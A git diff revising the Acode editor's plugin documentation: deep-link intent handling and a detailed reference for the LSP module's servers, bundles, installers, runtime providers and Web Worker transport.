-3. Intercepting intents to implement custom behaviors:
-			- Custom file type handlers
-			- Special handling for shared content
-			- Integration with external tools and services
+1. **Deep-linking into your plugin**:
+   - Own a module namespace (`acode://myplugin/...`) so nothing collides
+   - Build every link as `` `acode://${module}/${action}/${encodeURIComponent(value)}` `` — the value must be **one** percent-encoded segment
+   - Decode with `decodeURIComponent` in the handler (guarded — it throws on a malformed escape)
+
+2. **Reacting to Acode's own deep links**:
+   - `acode://plugin/install/<id>` — run your own install or upsell UI instead
+   - `acode://plugin/purchased/<id>` and `acode://plugin/uninstall/<id>` — refresh your own licence UI
+
+3. **Intercepting intents**:
+   - Call `preventDefault()` synchronously to suppress Acode's built-in behaviour
+   - Call `stopPropagation()` to stop other plugins from seeing the same link
+
+## Gotchas <Badge type="tip" text="new" />
+
+- **Only `acode://` URLs produce an `IntentEvent`.** Shared and opened files never do.
+- **`preventDefault()` / `stopPropagation()` are ignored after an `await`.** The dispatch loop is synchronous.
+- **Your handler's rejection is unhandled.** Acode does not `await` or `try/catch` it; wrap your own body.
+- **`value` is capped at the third path segment and is not URL-decoded.** There is no raw multi-slash form: `acode://myplugin/open/file:///a/b.txt` arrives as `"file:"`. Encode the value with `encodeURIComponent` when you build the link.
+- **`decodeURIComponent` throws `URIError`** on a malformed escape, and nothing in the intent pipeline catches it — wrap your own decode.
+- **`removeHandler` removes only the first match** and compares by function identity — keep the reference.
+- **Handlers registered after a cold-start deep link miss it.** Register at the top level of `main.js`.
+- **`stopPropagation()` stops later handlers, not earlier ones.** An earlier handler may already have run.
+- **`preventDefault()` suppresses all of Acode's built-in handling**, including `acode://plugin/install` and the `acode://pro` refresh — not just the part your plugin cares about.
+- **`acode://auth/callback` never reaches you**, so it is safe to leave to the auth plugin.
+- **There is no way to unregister all handlers.** `removeHandler` is the only removal API.
+
+## Related APIs
+
+- Shared / opened files: register a [File Handler](./file-handlers.md) — that is the hook for file intents, not this one
+- Opening a path from a plugin: `EditorFile` + `load()` — see [Editor File](../editor-components/editor-file.md)
\ No newline at end of file
diff --git a/docs/advanced-apis/lsp.md b/docs/advanced-apis/lsp.md
index 9f720aa..ef574fc 100644
--- a/docs/advanced-apis/lsp.md
+++ b/docs/advanced-apis/lsp.md
@@ -6,22 +6,45 @@ Use the LSP API to register language servers for Acode's CodeMirror LSP integrat
 const lsp = acode.require("lsp");
 ```
 
+Verified against Acode **v1.13.5** (versionCode `1011`): `src/cm/lsp/api.ts`, `src/cm/lsp/providerUtils.ts`, `src/cm/lsp/serverRegistry.ts`, `src/cm/lsp/serverCatalog.ts`, `src/cm/lsp/runtimeProviders.ts`, `src/cm/lsp/types.ts`, `src/cm/lsp/workerTransport.ts`, plus `src/lib/acode.js` (lines 247–253), which is where the module is assembled.
+
 ## API Overview
 
-The public module exposes:
-
-- `defineServer(options)`: Creates a normalized server manifest for common local servers.
-- `defineBundle(options)`: Groups multiple server manifests and optional install hooks.
-- `register(entry, options?)`: Registers a server or bundle.
-- `upsert(entry)`: Registers or replaces a server or bundle.
-- `installers.*`: Helpers for structured install metadata.
-- `servers.*`: Server registry inspection and updates.
-- `bundles.*`: Bundle registry inspection.
-- `runtimes.*`: Runtime provider registry helpers.
-- `workers.createTransport(options)`: Web Worker LSP transport. <Badge type="tip" text="v1002+" />
-- `registerRuntimeProvider(provider)`: Alias for `runtimes.register(provider)`.
-- `unregisterRuntimeProvider(id)`: Alias for `runtimes.unregister(id)`.
-- `clientManager.*`: Limited client-manager access for advanced plugins.
+`acode.require("lsp")` is **not** the raw `lspApi` default export. `src/lib/acode.js` builds it as a spread plus one extra namespace:
+
+```js
+// src/lib/acode.js:247
+const lspModule = {
+  ...lspApi,
+  clientManager: {
+    setOptions: (options) => lspClientManager.setOptions(options),
+    getActiveClients: () => lspClientManager.getActiveClients(),
+  },
+};
+```
+
+So the module has exactly these keys:
+
+| Key | Type | Signature |
+| --- | --- | --- |
+| `defineServer` | `function` | `defineServer(options: ManagedServerOptions): LspServerManifest` |
+| `defineBundle` | `function` | `defineBundle(options: { id, label?, servers, hooks? }): LspServerBundle` |
+| `register` | `function` | `register(entry, options?: { replace?: boolean }): LspServerDefinition \| LspServerBundle` |
+| `upsert` | `function` | `upsert(entry): LspServerDefinition \| LspServerBundle` |
+| `installers` | `object` | `apk` / `npm` / `pip` / `cargo` / `manual` / `shell` / `githubRelease` |
+| `servers` | `object` | `get`, `list`, `listForLanguage`, `update`, `unregister`, `onChange` |
+| `bundles` | `object` | `list`, `getForServer`, `unregister` |
+| `runtimes` | `object` | `register`, `unregister`, `get`, `list`, `select` |
+| `workers` | `object` | `createTransport(options): TransportHandle` |
+| `registerRuntimeProvider` | `function` | Alias of `runtimes.register` |
+| `unregisterRuntimeProvider` | `function` | Alias of `runtimes.unregister` |
+| `clientManager` | `object` | `setOptions(options)`, `getActiveClients()` |
+
+::: warning `runtimes.select` is the only `async` member
+`runtimes.select(server, context?)` returns a `Promise` (`selectRuntimeProvider` is `async`). Every other method on the module is synchronous — `register()`, `upsert()`, `servers.*`, `bundles.*`, `runtimes.register/unregister/get/list`, `workers.createTransport()` and both `clientManager` methods return their value directly, not a promise.
+:::
+
+`clientManager` is intentionally tiny. Acode's own LSP plumbing (`diagnostics.ts`, `codeActions.ts`, `formatter.ts`, `definition.ts`, `rename.ts`, `references.ts`, `documentSymbols.ts`, `documentColors.ts`, `inlayHints.ts`, `logs.ts`) is exported from `src/cm/lsp/index.ts` for internal use only and is **not** reachable from `acode.require("lsp")`. There is no `lsp.formatDocument()`, no `lsp.getLspDiagnostics()` and no `lsp.addLspLog()` in the plugin surface.
 
 Most plugins should use `defineServer()` plus `upsert()`. Use a custom runtime when the server does not run through the built-in Alpine/AXS path (for example a plugin-bundled Web Worker).
 
@@ -102,15 +125,21 @@ This is managed by Acode's built-in external WebSocket runtime. Install and upda
 
 Structured installers describe how Acode can install or update the executable for a local server.
 
-Available helpers:
+Available helpers (each returns a plain `LauncherInstallConfig` object with `kind` and a default `source`):
 
-- `lsp.installers.apk(options)`
-- `lsp.installers.npm(options)`
-- `lsp.installers.pip(options)`
-- `lsp.installers.cargo(options)`
-- `lsp.installers.githubRelease(options)`
-- `lsp.installers.manual(options)`
-- `lsp.installers.shell(options)`
+| Helper | Required options | Optional options |
+| --- | --- | --- |
+| `lsp.installers.apk(options)` | `packages`, `executable` | `label`, `source` (default `"apk"`) |
+| `lsp.installers.npm(options)` | `packages`, `executable` | `label`, `source` (default `"npm"`), `global` |
+| `lsp.installers.pip(options)` | `packages`, `executable` | `label`, `source` (default `"pip"`), `breakSystemPackages` |
+| `lsp.installers.cargo(options)` | `packages`, `executable` | `label`, `source` (default `"cargo"`) |
+| `lsp.installers.manual(options)` | `binaryPath` | `executable` (defaults to `binaryPath`), `label`, `source` (default `"manual"`) |
+| `lsp.installers.shell(options)` | `command`, `executable` | `updateCommand`, `uninstallCommand`, `label`, `source` (default `"custom"`) |
+| `lsp.installers.githubRelease(options)` | `repo`, `binaryPath`, `assetNames` | `executable` (defaults to `binaryPath`), `extractFile`, `archiveType` (`"zip"` \| `"binary"`), `label`, `source` (default `"github-release"`) |
+
+::: warning Every non-`shell` installer must name its executable
+`sanitizeDefinition()` throws `LSP server <id> managed installers must declare install.binaryPath or install.executable` for any `install.kind` other than `shell` when neither field is present. Passing `executable: ""` or `undefined` fails the same check — the value is `.trim()`-tested.
+:::
 
 Example:
 
@@ -133,10 +162,11 @@ lsp.upsert(pythonServer);
 
 Notes:
 
-- Managed installers should declare the executable they provide.
-- `githubRelease()` is intended for architecture-specific downloaded binaries.
+- Managed installers should declare the executable they provide — it is mandatory, not advisory.
+- `githubRelease()` is intended for architecture-specific downloaded binaries. `archiveType` is coerced: anything other than `"binary"` becomes `"zip"`.
 - `manual()` is useful when the binary already exists at a known path.
-- `shell()` is the advanced fallback when no structured installer fits.
+- `shell()` is the advanced fallback when no structured installer fits. It is the one kind exempt from the registry's "must declare `binaryPath` or `executable`" check, although `executable` is still a required constructor argument.
+- `installers.*` helpers only build data. Acode's own installer runner lives in `src/cm/lsp/installerUtils.ts`, `installRuntime.ts` and `runtimeActions.ts` and is not exposed to plugins.
 
 ## Bundles
 
@@ -211,11 +241,21 @@ const bundle = lsp.defineBundle({
 lsp.upsert(bundle);
 ```
 
-Supported hooks:
+Supported hooks (this is the complete `BundleHooks` interface, spread onto the bundle by `defineBundle()`):
+
+| Hook | Signature |
+| --- | --- |
+| `getExecutable` | `(serverId: string, manifest: LspServerManifest) => string \| null \| undefined` |
+| `checkInstallation` | `(serverId, manifest) => Promise<InstallCheckResult \| null \| undefined>` |
+| `installServer` | `(serverId, manifest, mode: "install" \| "update" \| "reinstall", options?: { promptConfirm?: boolean }) => Promise<boolean>` |
+
+`InstallCheckResult` is `{ status: "present" \| "missing" \| "failed" \| "unknown", version?: string \| null, canInstall: boolean, canUpdate: boolean, message?: string }`.
+
+::: tip `uninstallServer` is a fourth hook on the type, but not on `defineBundle()`
+`LspServerBundle` in `types.ts` declares `uninstallServer(serverId, manifest, options?)`, yet `BundleHooks` (the type of `defineBundle`'s `hooks` argument) omits it. Because `defineBundle()` does `return { id, label, getServers: () => servers, ...hooks }`, an `uninstallServer` key you pass through is still copied onto the bundle and is still found by the type — TypeScript just will not autocomplete it.
+:::
 
-- `getExecutable(serverId, manifest)`
-- `checkInstallation(serverId, manifest)`
-- `installServer(serverId, manifest, mode, options?)`
+`lsp.bundles.getForServer(serverId)` resolves through this bundle's `getServers()`, so a bundle is also the unit of ownership: registering a second bundle that contains a server the first bundle owns requires `replace: true`.
 
 ## URI Translation
 
@@ -276,12 +316,29 @@ A runtime provider decides where and how a server runs. Built-in Acode servers n
 
 Runtime providers are advanced API. If your plugin only registers a normal local server, use `defineServer()`.
 
-Runtime selection has two gates:
+Runtime selection has **three** gates, in this order (`src/cm/lsp/runtimeProviders.ts`, `selectRuntimeProvider`):
+
+1. **User setting override.** `settings.lsp.runtime.default`, `settings.lsp.runtime.servers[serverId]` and `settings.lsp.runtime.workspaces[pathPrefix]` are consulted first (longest matching workspace prefix wins). A configured id that is not `auto` is tried on its own; if its `canHandle()` returns falsy the app logs a warning and **falls through** to the automatic scan.
+2. **`server.runtimes`,** when present, limits which provider ids are allowed for that server. Provider ids are compared lowercased.
+3. **`provider.canHandle(server, context)`,** in descending `priority` order (ties broken by `id.localeCompare`). The first provider that returns a truthy value wins; a provider that throws is skipped with a console warning.
+
+Acode derives `context.workspaceKind` from the current URI/root via `inferWorkspaceKind()`. The declared `WorkspaceKind` type is `"app-private"`, `"builtin-alpine"`, `"termux-saf"`, `"saf"`, `"remote"`, `"proot-distro"`, `"virtual"` or `"unknown"` — but note that `inferWorkspaceKind()` in v1.13.5 can only ever produce `unknown`, `app-private`, `virtual`, `remote`, `builtin-alpine`, `termux-saf` and `saf`. `proot-distro` exists in the type only.
+
+### Built-in providers vs. bundled providers <Badge type="tip" text="new" />
+
+Acode registers exactly three runtime providers at module load, and it does so with `replace: true` (`src/cm/lsp/runtimes/registerBuiltins.ts`):
 
-- `server.runtimes`, when present, limits which provider ids are allowed for that server.
-- `provider.canHandle(server, context)` decides whether that provider can handle the current file, root, workspace kind, and server.
+| Id | `label` | `priority` | What it actually does |
+| --- | --- | --- | --- |
+| `web-worker` | `Built-in Web Worker` | `100` | Serves the four bundled servers (`html`, `css`, `json`, `typescript`) from `build/*LspWorker.js`. `canHandle()` returns true only for those exact ids. `checkInstallation()` reports `{ status: "present", version: "bundled", canInstall: false, canUpdate: false }`. |
+| `external-websocket` | `External WebSocket` | `-50` | Connects to `server.transport.url` when the transport kind is `websocket` **and** a `url` is present. `checkInstallation()` reports `{ status: "unknown", canInstall: false, canUpdate: false }`. |
+| `builtin-alpine` | `Built-in Alpine` | `-100` | Starts the server through Acode's own terminal/AXS bridge (`ensureServerRunning`) and hands back a `TransportHandle`. `checkInstallation()` delegates to `checkServerInstallation(server)`, and `install()` refuses with a "Terminal not installed" prompt when the Terminal plugin is missing. |
 
-Acode derives `context.workspaceKind` from the current URI/root. These values come from Acode's `WorkspaceKind` type: `"app-private"`, `"builtin-alpine"`, `"termux-saf"`, `"saf"`, `"remote"`, `"proot-distro"`, `"virtual"`, and `"unknown"`.
+::: warning `registerRuntimeProvider` throws on a duplicate id
+`runtimes.register(provider)` calls `registerRuntimeProvider(provider)` with **no** options object, so the internal `{ replace: true }` escape hatch is not reachable through `acode.require("lsp")`. Registering an id twice throws `LSP runtime provider <id> is already registered`. Always `unregisterRuntimeProvider(id)` first when reloading during development.
+:::
+
+The bundled web-worker servers are declared in `src/cm/lsp/servers/`. Their ids are `html`, `css`, `json`, `typescript`, `html-stdio`, `css-stdio`, `json-stdio`, `typescript-native`, `vtsls`, `eslint`, `ty`, `python`, `clangd`, `gopls`, `rust-analyzer`, `tailwindcss` and `luau`, grouped into the bundles `builtin-javascript`, `builtin-python`, `builtin-luau`, `builtin-web`, `builtin-systems` and `builtin-tailwindcss`. Register your own ids instead of replacing these.
 
 ### Register a Runtime Provider
 
@@ -342,16 +399,16 @@ lsp.registerRuntimeProvider({
 });
 ```
 
-Required provider fields:
+Required provider fields (each one is validated on registration):
 
-- `id`
-- `label`
-- `canHandle(server, context)`
-- `start(server, context)`
+- `id` — trimmed and lowercased; a missing/empty id throws `LSP runtime provider requires a non-empty id`.
+- `label` — must be a non-empty string, else `LSP runtime provider <id> requires a label`.
+- `canHandle(server, context)` — must be a function, may return a boolean **or** a promise.
+- `start(server, context)` — must be a function, must return a `Promise<LspRuntimeConnection>`.
 
 Optional provider fields:
 
-- `priority`
+- `priority` — non-numeric values are coerced to `0`.
 - `resolveUris(server, context)`
 - `checkInstallation(server, context)`
 - `install(server, context, mode, options?)`
@@ -360,6 +417,8 @@ Optional provider fields:
 - `getUninstallCommand(server, context)`
 - `stop(connection)`
 
+Any of these being present but **not** a function also throws (`LSP runtime provider <id> has invalid <method>()`), so do not set them to `null` or a non-function truthy value.
+
 Higher `priority` values are tried first. Provider ids are normalized to lowercase.
 
 ### Register a Server for a Runtime
@@ -387,9 +446,19 @@ lsp.upsert(
 
 If `runtimes` is omitted, any registered provider whose `canHandle()` returns `true` may be selected. Use `runtimes` when your plugin owns both the runtime and the server definition.
 
-## Worker Transport <Badge type="tip" text="v1002+" />
+## Worker Transport <Badge type="tip" text="corrected" />
 
-Creates a CodeMirror-compatible LSP transport backed by a Web Worker. Available from Acode **versionCode `1002`**. Set `"minVersionCode": 1002` in `plugin.json` when your plugin depends on it.
+Creates a CodeMirror-compatible LSP transport backed by a Web Worker.
+
+::: warning There is no `versionCode` for this API
+`CHANGELOG.md` records no `versionCode` for `lsp.workers.createTransport()` — the headings stop annotating build numbers after `v1.12.0 (970)`, and `config.xml` only declares the current build (`android-versionCode="1011"` for v1.13.5). Do **not** hardcode `"minVersionCode": 1002`; `CHANGELOG.md` lists *"feat(lsp): add web worker language servers as defaults"* under **v1.12.7**, but that is a PR, not a build number. Feature-detect instead:
+
+```js
+if (lsp?.workers?.createTransport) {
+  // safe to use
+}
+```
+:::
 
 ```js
 const handle = lsp.workers.createTransport({
@@ -417,18 +486,20 @@ const handle = lsp.workers.createTransport({
 
 | Option | Type | Description |
 | --- | --- | --- |
-| `url` | `string` | Required. Absolute or app-relative URL of the worker script. |
-| `name` | `string` | Optional worker name and default log identity. |
-| `serverId` | `string` | Optional id for LSP logs and errors. Defaults to `name`. |
-| `startupTimeout` | `number` | Milliseconds to wait for `{ kind: "ready" }`. Default `10000`. |
-| `configure` | `object` | Optional message posted right after the worker starts. |
-| `hostHandlers` | `Record<string, (params) => unknown \| Promise<unknown>>` | Handlers for worker host requests, keyed by method name. |
+| `url` | `string` | Required. Absolute or app-relative URL of the worker script. Throws `createWorkerTransport requires a worker url` when missing. |
+| `name` | `string` | Optional worker name (`WorkerOptions.name`) and default log identity. Defaults to `"acode-lsp-worker"`. |
+| `serverId` | `string` | Optional id for LSP logs and error messages. Defaults to `name`. |
+| `startupTimeout` | `number` | Milliseconds to wait for `{ kind: "ready" }`. Default `10000`; values that are not `> 0` fall back to the default. |
+| `configure` | `object` | Optional message posted right after the worker is created (before `ready` is awaited). |
+| `hostHandlers` | `Record<string, (params) => unknown \| Promise<unknown>>` | Handlers for worker host requests, keyed by method name. Defaults to `{}`. |
+
+The function throws `Web Workers are not available in this environment` when `typeof Worker === "undefined"`.
 
 Returns a `TransportHandle`:
 
-- `transport`: `{ send, subscribe, unsubscribe }`
+- `transport`: `{ send(message: string): void, subscribe(handler), unsubscribe(handler) }`. `send()` throws `The <serverId> worker is closed` after disposal, and `subscribe()` silently no-ops after disposal.
 - `ready`: `Promise<void>`
-- `dispose()`: cleanup and `worker.terminate()`
+- `dispose()`: cleanup and `worker.terminate()` — idempotent, returns `undefined` (not a promise).
 
 ### Worker protocol
 
@@ -492,7 +563,7 @@ JSON.stringify({ jsonrpc: "2.0", id: 1, method: "initialize", params: {} })
 { kind: "host-response", id: 1, error: "message" }
 ```
 
-Nested `params` and flat fields are both normalized into the object passed to `hostHandlers[method]`. Thrown handler errors become `error` on the response.
+Nested `params` and flat fields are both normalized into the object passed to `hostHandlers[method]` — every key except `kind`, `id`, `method` and `params` is copied. Thrown handler errors become `error` on the response, and a `host-request` whose `method` has no entry in `hostHandlers` is answered with `error: "Unsupported worker host method: <method>"` rather than being ignored. Responses are never posted after disposal.
 
 **Optional logs** (worker → main):
 
@@ -507,6 +578,10 @@ Nested `params` and flat fields are both normalized into the object passed to `h
 const lsp = acode.require("lsp");
 const RUNTIME_ID = "my-css-web-worker";
 const SERVER_ID = "my-css-worker";
+const PLUGIN_ID = "com.example.plugin";
+
+// Your plugin's base URL, e.g. "https://localhost/plugins/com.example.plugin/"
+const baseUrl = "https://localhost/plugins/com.example.plugin/";
 
 function createRuntime(workerBaseUrl) {
   const workerUrl = new URL("language.worker.js", workerBaseUrl).href;
@@ -567,6 +642,7 @@ function createRuntime(workerBaseUrl) {
   };
 }
 
+lsp.unregisterRuntimeProvider(RUNTIME_ID);
 lsp.runtimes.register(createRuntime(baseUrl));
 lsp.upsert(
   lsp.defineServer({
@@ -582,12 +658,18 @@ lsp.upsert(
 );
 
 // On unmount
-lsp.servers.unregister(SERVER_ID);
-lsp.runtimes.unregister(RUNTIME_ID);
+acode.setPluginUnmount(PLUGIN_ID, () => {
+  lsp.servers.unregister(SERVER_ID);
+  lsp.runtimes.unregister(RUNTIME_ID);
+});
 ```
 
 Use `transport: { kind: "external" }` for worker servers — the runtime returns the real transport handle. Register your own server id; do not replace built-in ids like `html`, `css`, `json`, or `typescript`.
 
+::: warning `runtimes.register()` throws if the id is taken
+Registering the provider on every plugin load without unregistering first throws `LSP runtime provider <id> is already registered`. Always `unregisterRuntimeProvider(RUNTIME_ID)` before `registerRuntimeProvider(...)`, as above.
+:::
+
 ### Runtime URI Resolution
 
 A runtime provider can translate both document and root URIs after it has been selected.
@@ -630,15 +712,7 @@ lsp.registerRuntimeProvider({
 });
 ```
 
-`resolveUris()` receives:
-
-- `originalDocumentUri`
-- `originalRootUri`
-- `normalizedDocumentUri`
-- `normalizedRootUri`
-- all `LspRuntimeContext` fields, including `file`, `view`, `languageId`, `documentUri`, `rootUri`, `serverId`, and `workspaceKind`
-
-It may return `scope: "workspace"` or `scope: "document"`. Document scope starts a separate client for each document.
+`resolveUris()` receives `LspRuntimeUriResolutionContext` — `originalDocumentUri`, `originalRootUri`, `normalizedDocumentUri`, `normalizedRootUri` plus every `LspRuntimeContext` field (`file`, `view`, `languageId`, `documentUri`, `rootUri`, `serverId`, `workspaceKind`, …). It may return `{ documentUri?, rootUri?, scope? }` with `scope: "workspace"` (the default) or `"document"`; document scope starts a separate client for each document. It runs **after** this provider has been selected, so one runtime cannot rewrite another runtime's documents. See [`LspRuntimeUriResolutionContext`](#lspruntimeuriresolutioncontext).
 
 ## Definition Reference
 
@@ -646,30 +720,38 @@ It may return `scope: "workspace"` or `scope: "document"`. Document scope starts
 
 Convenience helper for local bridge-backed servers (and worker-backed servers when combined with a custom runtime).
 
-Supported fields:
-
-- `id`: Required server id.
-- `label`: Required display label.
-- `languages`: Required non-empty language id array.
-- `enabled`: Defaults to `true`.
-- `useWorkspaceFolders`: Use one client per server and workspace folders. Useful for TypeScript and Rust.
-- `runtimes`: Optional preferred runtime provider ids for this server (for example `["web-worker"]` or a plugin runtime id).
-- `command`: Executable used for the AXS bridge.
-- `args`: Arguments passed to `command`.
-- `transport`: Optional partial transport descriptor. Defaults to `{ kind: "websocket" }`.
-- `bridge`: Optional AXS bridge details such as `port` or `session`.
-- `installer`: Structured installer config from `lsp.installers.*`.
-- `checkCommand`
-- `versionCommand`
-- `updateCommand`
-- `uninstallCommand`
-- `startupTimeout`
-- `initializationOptions`
-- `clientConfig`
-- `resolveLanguageId`
-- `rootUri`
-- `documentUri`
-- `capabilityOverrides`
+Supported fields (this is the complete `ManagedServerOptions` interface):
+
+| Field | Type | Default | Notes |
+| --- | --- | --- | --- |
+| `id` | `string` | — | Required. Normalized to trimmed lowercase. |
+| `label` | `string` | — | Display label; falls back to `id` after registration. |
+| `languages` | `string[]` | — | Required, must be non-empty after normalization. |
+| `enabled` | `boolean` | `true` | Only `enabled === false` disables. |
+| `useWorkspaceFolders` | `boolean` | `false` | One client per server, folders added over time. Acode's own comment: *"Heavy LSP servers like TypeScript and rust-analyzer should use this."* |
+| `runtimes` | `string[]` | unset | Restricts which provider ids may run this server. Lowercased. |
+| `command` | `string` | unset | Turns into `launcher.bridge.command`. |
+| `args` | `string[]` | unset | Turns into `launcher.bridge.args`. |
+| `transport` | `Partial<TransportDescriptor>` | `{ kind: "websocket" }` | Spread **after** the default, so `kind` is overridable. |
+| `bridge` | `Partial<BridgeConfig> \| null` | unset | Merged with `command` / `args`; `port` and `session` pass straight through. `kind` must be `"axs"` — anything else throws. |
+| `installer` | `LauncherInstallConfig` | unset | Becomes `launcher.install`. |
+| `checkCommand` | `string` | unset | `launcher.checkCommand`. |
+| `versionCommand` | `string` | unset | `launcher.versionCommand`. |
+| `updateCommand` | `string` | unset | `launcher.updateCommand`. |
+| `uninstallCommand` | `string` | unset | `launcher.uninstallCommand`. |
+| `logOutput` | `"all" \| "warnings-and-errors"` | `"all"` | Anything other than `"warnings-and-errors"` becomes `"all"`. |
+| `startupTimeout` | `number` | unset | Copied to `clientConfig.timeout` as the LSP connect timeout. |
+| `initializationOptions` | `object` | unset | Deep-cloned via `JSON.parse(JSON.stringify(...))`; functions do not survive. Merged with `clientConfig.initializationOptions` (client wins). |
+| `workspaceConfiguration` | `object` | unset | Same JSON clone. |
+| `clientConfig` | `object` | unset | See [Formatters and Diagnostics](#formatters-and-diagnostics). |
+| `resolveLanguageId` | `fn` | unset | `(context: { languageId, languageName?, uri?, file? }) => string \| null`. |
+| `rootUri` | `fn` | unset | `(uri, context: RootUriContext) => string \| null \| Promise<…>`. |
+| `documentUri` | `fn` | unset | `(uri, context: DocumentUriContext) => string \| null \| undefined \| Promise<…>`. |
+| `capabilityOverrides` | `object` | unset | Stored but **never read** in v1.13.5 — see [Gotchas](#gotchas). |
+
+::: tip `defineServer()` is not a validator
+It never throws and never fills in an id. Everything is validated later by `sanitizeDefinition()` when the manifest reaches `lsp.register()` / `lsp.upsert()`. Note it always emits a `launcher` object, even an empty one, and always emits a `transport` object.
+:::
 
 ### Raw Server Manifest
 
@@ -680,12 +762,14 @@ Common fields:
 - `id`
 - `label`
 - `enabled`
+- `priority` — number, default `0`. Higher wins for single-provider features such as formatting.
 - `languages`
 - `transport`
-- `launcher`
+- `launcher` — `{ command, args, startCommand, checkCommand, versionCommand, updateCommand, uninstallCommand, logOutput, install, bridge }`
 - `runtimes`
 - `useWorkspaceFolders`
 - `initializationOptions`
+- `workspaceConfiguration`
 - `clientConfig`
 - `startupTimeout`
 - `capabilityOverrides`
@@ -693,7 +777,18 @@ Common fields:
 - `documentUri`
 - `resolveLanguageId`
 
-For `transport.kind: "websocket"`, provide either `transport.url` or `launcher.bridge.command`. For `transport.kind: "stdio"`, provide `transport.command`.
+For `transport.kind: "websocket"`, provide either `transport.url` or `launcher.bridge.command`. For `transport.kind: "stdio"`, provide `transport.command`. A raw manifest **defaults `transport.kind` to `"stdio"`**, which is why a raw manifest without `transport.command` is rejected.
+
+::: warning Two `transport` fields are silently dropped from every raw manifest
+`sanitizeDefinition()` rebuilds the transport descriptor from a fixed key list and never copies `transport.protocols` or `transport.create`. Consequences:
+
+- `external-websocket` reads `server.transport.protocols` when building its connection, so it is always `undefined` after registration.
+- `transport.create(server, context)` never survives, so `transport: { kind: "external" }` on a **raw** manifest always throws `LSP server <id> declares an external transport without a create() factory` at connect time. `kind: "external"` only works when a **runtime provider** supplies the transport (return `{ kind: "transport", providerId, transport }` from `start()`), which is how the bundled web-worker servers do it.
+:::
+
+::: tip Raw `"stdio"` is not an editor-to-process pipe
+`createStdioTransport()` throws `STDIO transport for <id> is missing a websocket bridge url` unless `transport.url` is set or `context.dynamicPort` was discovered by the launcher, and then it just delegates to `createWebSocketTransport()`. It also logs an info message when `transport.options.binary` is not set, because it falls back to text frames.
+:::
 
 Raw local bridge example:
 
@@ -725,17 +820,51 @@ lsp.upsert({
 
 ## Registration
 
-### `lsp.register(entry, options?)`
+### `lsp.register(entry, options?)` <Badge type="tip" text="corrected" />
+
+Registers a server or bundle and returns the **normalized** definition (`LspServerDefinition` for a server, `LspServerBundle` for a bundle). `options.replace` defaults to `false`.
+
+::: warning It does **not** throw on a duplicate id
+`registerServer()` does this when the id already exists:
+
+```ts
+const exists = registry.has(normalized.id);
+if (exists && !replace) {
+  const existing = registry.get(normalized.id);
+  if (existing) return existing; // ← returns the OLD definition
+}
+```
+
+So a second `lsp.register(server)` for the same id is a **silent no-op that returns the previously registered definition** — your new fields are discarded with no warning. Bundles behave the same way for their own id. This is exactly why `upsert()` exists.
+:::
+
+There is one case where registration *does* throw, and it is not about the entry's own id: when a **bundle** claims a server id that a *different* bundle already owns.
 
-Registers a server or bundle. It throws if the id already exists unless `options.replace` is `true`.
+```js
+// LSP server eslint is already provided by builtin-javascript;
+// my-web must replace explicitly
+lsp.register(bundle); // throws
+```
+
+| Throw | Message |
+| --- | --- |
+| Bundle claims a server owned by another bundle | `LSP server <id> is already provided by <owner>; <bundle> must replace explicitly` |
+| Bundle entry without an id | `LSP server bundle <id> returned a server without id` |
+| Bundle without an id | `LSP server bundle requires a non-empty id` |
+| Validation (see [Gotchas](#gotchas)) | `LSP server definition requires a non-empty id`, `… must declare supported languages`, `… (stdio) requires a command`, `… (websocket) requires a url or a launcher bridge`, `… managed installers must declare install.binaryPath or install.executable` |
 
 ```js
+// Force replacement
 lsp.register(server, { replace: true });
 ```
 
+::: tip A bundle's own servers are always registered with `replace: true`
+Inside `registerServerBundle()` each member manifest is passed to `registry.registerServer(definition, { replace: true })`, so re-registering a bundle refreshes its servers even though the bundle's `replace` option defaults to `false`.
+:::
+
 ### `lsp.upsert(entry)`
 
-Registers or replaces a server or bundle.
+Registers or replaces a server or bundle — literally `register(entry, { replace: true })`.
 
 ```js
 lsp.upsert(server);
@@ -759,16 +888,14 @@ const unsubscribe = lsp.servers.onChange((event, changedServer) => {
 });
 ```
 
-Available methods:
-
-- `lsp.servers.get(id)`
-- `lsp.servers.list()`
-- `lsp.servers.listForLanguage(languageId, options?)`
-- `lsp.servers.update(id, updater)`
-- `lsp.servers.unregister(id)`
-- `lsp.servers.onChange(listener)`
-
-`listForLanguage()` accepts `{ includeDisabled?: boolean }`.
+| Method | Signature | Returns |
+| --- | --- | --- |
+| `lsp.servers.get(id)` | `(id: string) => LspServerDefinition \| null` | `null` when unknown. The id is trimmed + lowercased. |
+| `lsp.servers.list()` | `() => LspServerDefinition[]` | Every registered server, including disabled ones. |
+| `lsp.servers.listForLanguage(languageId, options?)` | `(languageId: string, options?: { includeDisabled?: boolean }) => LspServerDefinition[]` | Enabled servers whose `languages` contain the (lowercased) id, **sorted by `priority` descending**. Pass `{ includeDisabled: true }` to include disabled servers. |
+| `lsp.servers.update(id, updater)` | `(id: string, updater: (current) => Partial<LspServerDefinition> \| null) => LspServerDefinition \| null` | `null` when the id is unknown. `updater` receives a **shallow copy**; returning `null` aborts the update and the current definition is returned unchanged. Otherwise the merged result is re-validated and re-normalized. |
+| `lsp.servers.unregister(id)` | `(id: string) => boolean` | `true` when something was removed. |
+| `lsp.servers.onChange(listener)` | `(listener: (event: "register" \| "unregister" \| "update", server: LspServerDefinition) => void) => () => void` | Unsubscribe function. Listener exceptions are caught and logged, so one bad listener cannot break the others. A non-function listener yields a no-op unsubscribe. |
 
 ### Bundles
 
@@ -778,11 +905,11 @@ const bundle = lsp.bundles.getForServer("my-html");
 lsp.bundles.unregister("my-web-tools");
 ```
 
-Available methods:
-
-- `lsp.bundles.list()`
-- `lsp.bundles.getForServer(serverId)`
-- `lsp.bundles.unregister(id)`
+| Method | Signature | Returns |
+| --- | --- | --- |
+| `lsp.bundles.list()` | `() => LspServerBundle[]` | Every registered bundle, including the six built-ins. |
+| `lsp.bundles.getForServer(id)` | `(id: string) => LspServerBundle \| null` | The bundle that **owns the server** with that id, or `null` for a standalone server. |
+| `lsp.bundles.unregister(id)` | `(id: string) => boolean` | `true` when removed. This also unregisters every server the bundle still owned. |
 
 ### Runtimes
 
@@ -792,15 +919,17 @@ const runtime = lsp.runtimes.get("builtin-alpine");
 lsp.runtimes.unregister("my-runtime");
 ```
 
-Available methods:
+| Method | Signature | Returns |
+| --- | --- | --- |
+| `lsp.runtimes.register(provider)` | `(provider: LspRuntimeProvider) => LspRuntimeProvider` | The normalized provider (id lowercased). **Throws** if the id is already registered. |
+| `lsp.runtimes.unregister(id)` | `(id: string) => boolean` | `true` when removed. |
